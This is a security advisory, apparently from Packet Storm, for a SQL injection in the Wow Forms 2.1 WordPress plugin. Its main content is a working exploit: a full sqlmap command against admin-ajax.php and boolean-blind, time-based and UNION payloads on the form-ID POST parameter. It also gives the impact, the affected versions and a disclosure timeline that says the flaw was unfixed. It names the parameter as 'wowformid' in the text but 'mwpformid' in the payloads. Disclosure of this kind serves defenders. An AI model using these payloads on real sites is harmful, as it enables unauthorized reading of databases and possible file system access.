WordPress Wow Forms 2.1 SQL Injection

WordPress Wow Forms plugin version 2.1 suffers from a remote SQL injection vulnerability.


MD5 | 0e2deca3be8f08e52ee6a0c7adde4439

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# Exploit Title: Wow Forms v2.1 WordPress Plugin SQL Injection
# Date: 29/03/2017
# Exploit Author: TAD GROUP
# Vendor Homepage: http://wow-company.com/
# Software Link: https://wordpress.org/plugins/mwp-forms/
# Version: 2.1
# Contact: [email protected]
# Website: https://tad.bg <https://tad.bg>
# Category: Web Application Exploits
 
1. Description
 
An unescaped parameter was found in Wow Forms v2.1 (WP plugin). An attacker can exploit this vulnerability to read from the database.
The POST parameter 'wowformid' is vulnerable.
 
2. Proof of concept
 
sqlmap -u "http://server/wp-admin/admin-ajax.php" --data "action=send_mwp_form&arrkey%5B%5D=mwp-field-0&arrkey%5B%5D=mwp-forms-textarea-0&arrval%5B%5D=form2&arrval%5B%5D=rrr&mwpformid=1*"  --dbs --threads=10 --random-agent --dbms mysql
 
Parameter: Array-like #6* ((custom) POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: action=send_mwp_form&arrkey[]=mwp-field-0&arrkey[]=mwp-forms-textarea-0&arrval[]=form2&arrval[]=rrr&mwpformid=4 AND 6968=6968
 
    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
    Payload: action=send_mwp_form&arrkey[]=mwp-field-0&arrkey[]=mwp-forms-textarea-0&arrval[]=form2&arrval[]=rrr&mwpformid=4 AND (SELECT * FROM (SELECT(SLEEP(5)))gxQa)
 
    Type: UNION query
    Title: Generic UNION query (NULL) - 65 columns
    Payload: action=send_mwp_form&arrkey[]=mwp-field-0&arrkey[]=mwp-forms-textarea-0&arrval[]=form2&arrval[]=rrr&mwpformid=4 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x71766a7671,0x6b656f4d516d7a6b736f596f49746d4e776a7663716f4d41654c6e516e516c6c6c7a5274744a6d57,0x716a6b6271),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULLa -
 
3. Attack outcome:
 
An attacker can read arbitrary data from the database. If the webserver is misconfigured, read & write access to the filesystem may be possible.
 
4. Impact
 
Critical
 
5. Affected versions
 
<= 2.1
 
6. Disclosure timeline
 
15-Mar-2017 - found the vulnerability
15-Mar-2017 - informed the developer
29-Mar-2017 - release date of this security advisory
 
Not fixed at the date of submitting this exploit.


Source: packetstormsecurity.com
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